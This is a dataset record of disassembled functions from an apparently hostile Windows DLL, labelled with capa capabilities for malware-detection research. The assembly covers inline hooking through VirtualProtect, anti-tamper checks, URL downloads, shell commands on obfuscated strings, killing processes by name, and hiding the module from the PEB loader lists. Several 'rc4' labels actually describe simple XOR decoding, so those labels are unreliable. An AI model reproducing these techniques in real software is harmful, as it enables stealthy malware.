joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000fcf0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0xdb
mov dword [ebp - 8], 0
jmp 0x1000fd12
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x10
jge 0x1000fd51
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0x3ec8310c]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1000fd4c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x1000fd09
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x10], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1000fe20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp + 0x10]
add eax, 5
push eax
call sub.MSVCR90.dll_malloc
add esp, 4
mov dword [ebp - 8], eax
lea ecx, [ebp - 4]
push ecx
push 0x40
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 8]
push eax
call sub.MSVCR90.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 8]
add ecx, dword [ebp + 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov byte [edx], 0xe9
mov eax, dword [ebp + 8]
add eax, dword [ebp + 0x10]
sub eax, dword [ebp - 8]
sub eax, 5
mov ecx, dword [ebp - 8]
mov dword [ecx + 1], eax
mov edx, dword [ebp + 8]
mov byte [edx], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, dword [ebp + 8]
sub eax, 5
mov ecx, dword [ebp + 8]
mov dword [ecx + 1], eax
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 8]
sub eax, dword [ebp + 0x10]
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10010000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x66
mov dword [ebp - 8], 0
jmp 0x10010022
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x12
jge 0x10010061
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0x69c1a7ce]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1001005c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x10010019
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x12], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x100101e0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x48
mov dword [ebp - 8], 0
jmp 0x10010202
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xe
jge 0x10010241
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx - 0x7be10717]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1001023c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x100101f9
mov eax, dword [ebp - 0xc]
mov byte [eax + 0xe], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10010260
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x45
mov dword [ebp - 8], 0
jmp 0x10010282
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x12
jge 0x100102c1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0x60ad89e8]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x100102bc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x10010279
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x12], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10010450
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10043d00
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x60
mov eax, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
cmp dword [eax], 0x8b55ff8b
je 0x1001057b
call fcn.10003b70
movzx ecx, al
test ecx, ecx
je 0x100104ed
push 0x10
push 0x4478203a
lea ecx, [ebp - 0x1a]
call fcn.1001e840
mov dword [ebp - 0x50], eax
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0x54], edx
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x54]
push eax
mov ecx, 0x9ecafdeb
push ecx
lea ecx, [ebp - 0x2f]
call fcn.1001e7c0
mov dword [ebp - 0x58], eax
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x5c], edx
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x5c]
push eax
call fcn.100105f0
add esp, 0xc
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2f]
call fcn.1001e2e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a]
call fcn.1001e3a0
call fcn.10010680
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10018dc0
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004595b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x534
mov dword [ebp - 0x538], 0
mov dword [ebp - 0x418], 0x101
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp - 0x524]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x524]
push eax
push 0x19af12b2
lea ecx, [ebp - 0x533]
call fcn.100251c0
mov dword [ebp - 0x53c], eax
mov ecx, dword [ebp - 0x53c]
mov dword [ebp - 0x540], ecx
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x540]
push edx
push 0x2000
lea eax, [ebp - 0x414]
push eax
call fcn.10040da0
add esp, 0x14
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x533]
call fcn.1001e250
lea ecx, [ebp - 0x414]
push ecx
mov ecx, dword [ebp + 8]
call fcn.10001cf0
mov edx, dword [ebp - 0x538]
or edx, 1
mov dword [ebp - 0x538], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10018ea0
Capabilities:
Create directory
Delete file
Download url
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10045996
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x144
jmp 0x10018ed0
push 0x518e7784
lea ecx, [ebp - 0x61]
call fcn.10025240
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x134]
push eax
call sub.MSVCR90.dll__mkdir
add esp, 4
xor ecx, ecx
cmp eax, 0xffffffff
sete cl
mov byte [ebp - 0x49], cl
lea ecx, [ebp - 0x61]
call fcn.1001e2b0
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 2
push 0x518e779c
lea ecx, [ebp - 0x79]
call fcn.10025240
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x79]
call fcn.1001e2b0
mov ecx, 0x952045ad
push ecx
lea ecx, [ebp - 0xa2]
call fcn.1001e9c0
mov dword [ebp - 0x13c], eax
mov edx, dword [ebp - 0x13c]
push edx
call sub.MSVCR90.dll_remove
add esp, 4
lea ecx, [ebp - 0xa2]
call fcn.1001e400
mov eax, 0xda6f8f0c
push eax
lea ecx, [ebp - 0xdb]
call fcn.100252c0
mov dword [ebp - 0x140], eax
mov ecx, dword [ebp - 0x140]
mov dword [ebp - 0x144], ecx
mov dword [ebp - 4], 0
mov edx, dword [ebp - 0x144]
push edx
lea ecx, [ebp - 0x28]
call fcn.10001cf0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xdb]
call fcn.1001e3d0
mov eax, 0x95204615
push eax
lea ecx, [ebp - 0x104]
call fcn.1001e9c0
mov dword [ebp - 0x148], eax
mov ecx, dword [ebp - 0x148]
mov dword [ebp - 0x14c], ecx
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x14c]
push edx
lea ecx, [ebp - 0x48]
call fcn.10001cf0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x104]
call fcn.1001e400
push 0
push 0
lea ecx, [ebp - 0x48]
call fcn.100011a0
push eax
lea ecx, [ebp - 0x28]
call fcn.100011a0
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
push 2
mov eax, 0xe1dcd42c
push eax
lea ecx, [ebp - 0x12d]
call fcn.10025340
mov dword [ebp - 0x150], eax
mov ecx, dword [ebp - 0x150]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0x12d]
call fcn.1001e400
jmp 0x1001905b
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x48]
call fcn.10001180
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.10001180
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10019090
Capabilities:
Execute command
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10045e10
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x60
mov eax, dword [ebp + 8]
push eax
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jbe 0x1001918b
push 0
push 0
push 0x10
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
call fcn.1002bd50
mov edx, 0x9520466d
push edx
lea ecx, [ebp - 0x39]
call fcn.1001e9c0
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
push eax
call sub.MSVCR90.dll_system
add esp, 4
lea ecx, [ebp - 0x39]
call fcn.1001e400
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x1f4
mov edx, dword [0x100860c4]
mov eax, dword [edx + 0x18]
call eax
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x1001b010
Capabilities:
Execute command
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10045e10
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x60
jmp 0x1001b03d
push 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_FindWindowExA]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jbe 0x1001b11d
push 0
push 0
push 0x10
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
call fcn.1002bd50
mov edx, 0x95204d9d
push edx
lea ecx, [ebp - 0x39]
call fcn.1001e9c0
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
push eax
call sub.MSVCR90.dll_system
add esp, 4
lea ecx, [ebp - 0x39]
call fcn.1001e400
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x1001b12f
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x1001bf30
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x128], 0x128
lea eax, [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
je 0x1001c065
mov edx, dword [ebp + 8]
mov dword [ebp - 0x138], edx
lea eax, [ebp - 0x104]
mov dword [ebp - 0x13c], eax
mov ecx, dword [ebp - 0x13c]
mov dl, byte [ecx]
mov byte [ebp - 0x13d], dl
mov eax, dword [ebp - 0x138]
cmp dl, byte [eax]
jne 0x1001bfeb
cmp byte [ebp - 0x13d], 0
je 0x1001bfdf
mov ecx, dword [ebp - 0x13c]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x13e], dl
mov eax, dword [ebp - 0x138]
cmp dl, byte [eax + 1]
jne 0x1001bfeb
add dword [ebp - 0x13c], 2
add dword [ebp - 0x138], 2
cmp byte [ebp - 0x13e], 0
jne 0x1001bf8d
mov dword [ebp - 0x144], 0
jmp 0x1001bff6
sbb ecx, ecx
sbb ecx, 0xffffffff
mov dword [ebp - 0x144], ecx
mov edx, dword [ebp - 0x144]
mov dword [ebp - 0x148], edx
cmp dword [ebp - 0x148], 0
jne 0x1001c047
mov eax, dword [ebp - 0x120]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 0
je 0x1001c047
push 9
mov ecx, dword [ebp - 0x134]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x134]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call sub.KERNEL32.dll_Process32Next
mov dword [ebp - 0x130], eax
jmp 0x1001bf6b
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x1001c4d0
Capabilities:
Execute command
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe0
jmp 0x1001c4eb
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
mov eax, 0x928bf9c3
push eax
lea ecx, [ebp - 0x17]
call fcn.100297c0
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0xd8]
push ecx
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x17]
call fcn.1001e730
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x4f454a42
lea ecx, [ebp - 0x91]
call fcn.10029840
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xdc]
push eax
call sub.MSVCR90.dll_system
add esp, 4
lea ecx, [ebp - 0x91]
call fcn.1001e610
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xe2344fa9
push ecx
lea ecx, [ebp - 0xd1]
call fcn.100298c0
mov dword [ebp - 0xe0], eax
mov edx, dword [ebp - 0xe0]
push edx
call sub.MSVCR90.dll_system
add esp, 4
lea ecx, [ebp - 0xd1]
call fcn.1001e640
jmp 0x1001c5a6
mov esp, ebp
pop ebp
ret
Function at 0x1001db00
Capabilities:
Create thread
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004625b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30
mov dword [ebp - 0x34], ecx
jmp 0x1001db30
mov dword [ebp - 0x10], 0
push dword [ebp + 4]
pop dword [ebp - 0x10]
push 4
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0x1c], 0
je 0x1001db64
mov ecx, dword [ebp - 0x1c]
call fcn.1001c5b0
mov dword [ebp - 0x38], eax
jmp 0x1001db6b
mov dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x18]
mov dword [0x10086fd0], ecx
mov ecx, dword [0x10086fd0]
call fcn.1001cec0
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
mov edx, 0x929003b5
push edx
lea ecx, [ebp - 0x2f]
call fcn.1002a1c0
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x2f]
call fcn.1001e730
push 0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 0
push 0x1001dc50
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
push 0
push 0
push 0
push 0x1001dc60
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
push 0
mov ecx, dword [0x10085f40]
call fcn.10008ca0
mov edx, dword [ebp - 0x10]
push edx
mov ecx, dword [0x10086fd0]
call fcn.1001ca60
push 1
mov ecx, dword [0x10085f40]
call fcn.10008ca0
jmp 0x1001dc2f
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x1001dc70
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x1001dca9
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001dcad
cmp edx, esi
jne 0x1001dc92
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x1001dccd
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001dcd1
cmp edx, esi
jne 0x1001dcb6
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x1001dcf1
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001dcf5
cmp edx, esi
jne 0x1001dcda
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001ddb0
Capabilities:
Create thread
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
jmp 0x1001ddcb
mov eax, dword [0x10086460]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0
mov ecx, dword [0x10086460]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1001ddfe
push 0
mov edx, dword [0x10086460]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x1001de08
mov dword [0x10086460], 0
cmp dword [0x10086460], 0
jne 0x1001dec3
push 0
push 0
push 0
push 0x1001ce30
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
mov dword [0x10086460], eax
push 0x10
mov eax, 0xb7312b67
push eax
lea ecx, [ebp - 8]
call fcn.1002a2c0
push eax
push 0x3402c45c
lea ecx, [ebp - 0x1c]
call fcn.1002a240
push eax
call fcn.100105f0
add esp, 0xc
lea ecx, [ebp - 0x1c]
call fcn.1001e790
lea ecx, [ebp - 8]
call fcn.10039c80
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [0x100870f8]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0
mov edx, dword [0x100870f8]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1001def6
push 0
mov eax, dword [0x100870f8]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x1001df00
mov dword [0x100870f8], 0
cmp dword [0x100870f8], 0
jne 0x1001dfbc
push 0
push 0
push 0
push 0x1001ce20
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
mov dword [0x100870f8], eax
push 0x10
mov ecx, 0xb7312ba3
push ecx
lea ecx, [ebp - 0x41]
call fcn.1002a2c0
push eax
mov edx, 0xe63b69ec
push edx
lea ecx, [ebp - 0x55]
call fcn.1002a340
push eax
call fcn.100105f0
add esp, 0xc
lea ecx, [ebp - 0x55]
call fcn.1001e790
lea ecx, [ebp - 0x41]
call fcn.10039c80
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [0x10086458]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0
mov ecx, dword [0x10086458]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1001dfef
push 0
mov edx, dword [0x10086458]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x1001dff9
mov dword [0x10086458], 0
cmp dword [0x10086458], 0
jne 0x1001e0c6
push 0
push 0
push 0
push 0x1001ce40
push 0
push 0
call sub.MSVCR90.dll__beginthreadex
add esp, 0x18
mov dword [0x10086458], eax
push 0x10
mov eax, 0xb7312bdf
push eax
lea ecx, [ebp - 0x7a]
call fcn.1002a2c0
push eax
push 0x3ad74edc
lea ecx, [ebp - 0x8e]
call fcn.1002a3c0
push eax
call fcn.100105f0
add esp, 0xc
lea ecx, [ebp - 0x8e]
call fcn.1001e790
lea ecx, [ebp - 0x7a]
call fcn.10039c80
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x1001e0d8
mov esp, ebp
pop ebp
ret
Function at 0x1001e1f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
jne 0x1001e239
push 0
push 0
push 0
push 0x1001da60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x1001e0e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [ebp + 8]
push eax
call fcn.1001dc70
add esp, 4
call sym.feafeaf.dll_NHzInitFunction
call sym.feafeaf.dll_NHzAntiBypass
mov eax, 1
pop ebp
ret 0xc

Function at 0x1001e7c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0x29
mov dword [ebp - 8], 0
jmp 0x1001e7e2
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x14
jge 0x1001e821
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0x713a661d]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1001e81c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x1001e7d9
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x14], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1001e840
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0xbc
mov dword [ebp - 8], 0
jmp 0x1001e862
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xd
jge 0x1001e8a1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx - 0x3472bc42]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1001e89c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x1001e859
mov eax, dword [ebp - 0xc]
mov byte [eax + 0xd], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1001e8c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], 0xd6
mov dword [ebp - 8], 0
jmp 0x1001e8e2
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x16
jge 0x1001e921
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 8]
movsx edx, byte [ecx + 0x5690d6b6]
xor edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 8]
mov byte [eax], dl
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, 0x800000ff
jns 0x1001e91c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 4], edx
jmp 0x1001e8d9
mov eax, dword [ebp - 0xc]
mov byte [eax + 0x16], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4